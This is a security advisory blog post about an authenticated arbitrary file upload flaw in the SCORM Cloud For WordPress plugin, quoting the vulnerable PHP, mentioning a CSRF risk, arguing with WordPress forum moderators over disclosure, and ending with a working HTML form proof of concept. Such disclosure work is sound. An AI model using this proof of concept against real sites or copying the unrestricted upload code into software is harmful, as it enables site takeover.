Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability Being Introduced in to a WordPress Plugin
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a less serious variant of one of those vulnerabilities, an authenticated arbitrary file upload vulnerability, as it was being introduced in to the plugin SCORM Cloud For WordPress.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
We tested and confirmed that our new firewall plugin for WordPress protected against the type of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Authenticated Arbitrary File Upload
The beginning of the contents of the plugin’s file /scormcloud/admin/file_upload_parser.php looks concerning, as it is loading WordPress itself instead of having its code run when accessed through WordPress:
1 2 3 4 5 6 7 8 | <?php global $wpdb; if ( defined('ABSPATH') ) require_once(ABSPATH . 'wp-load.php'); else require_once('../../../../wp-load.php'); require_once(ABSPATH . 'wp-admin/admin.php'); require_once(SCORMCLOUD_BASE.'scormcloudplugin.php'); |
That code at least requires that someone be logged in to WordPress before the code that follows it runs, which limits the damage of the insecurity of what follows. As that code will upload a file sent with the request with no limits on what types of files can be uploaded:
9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | $ScormService = ScormCloudPlugin::get_cloud_service(); try { $isValidAccount = $ScormService->isValidAccount(); } catch (Exception $e) { $isValidAccount = false; } $uploadDirectoryName = SCORMCLOUD_BASE."/uploads/"; //Check if the directory already exists. if(!is_dir($uploadDirectoryName)){ //Directory does not exist, so lets create it. mkdir($uploadDirectoryName, 0755); } $fileName = $_FILES["file1"]["name"]; // The file name $fileTmpLoc = $_FILES["file1"]["tmp_name"]; // File in the PHP tmp folder $fileType = $_FILES["file1"]["type"]; // The type of file it is $fileSize = $_FILES["file1"]["size"]; // File size in bytes $fileErrorMsg = $_FILES["file1"]["error"]; // 0 for false... and 1 for true $courseId = $_POST["courseid"]; $mode = $_POST[ 'mode' ]; if ( $mode == null ) { $mode = 'new'; } if (!$fileTmpLoc) { // if file not chosen echo "ERROR: Please browse for a file before clicking the upload button."; exit(); } if(move_uploaded_file($fileTmpLoc, $uploadDirectoryName.$fileName)){ |
Since there is not a check for a valid nonce, that could also be exploited through cross-site request forgery (CSRF).
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that. Other data providers often fail to really determine if the vulnerability has been fixed.
Proof of Concept
The following proof of concept will upload the file sent with the request to /wp-content/plugins/scormcloud/uploads/, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-content/plugins/scormcloud/admin/file_upload_parser.php" enctype="multipart/form-data" method="POST"> <input type="file" name="file1" /> <input type="submit" value="Submit" /> </form> </body>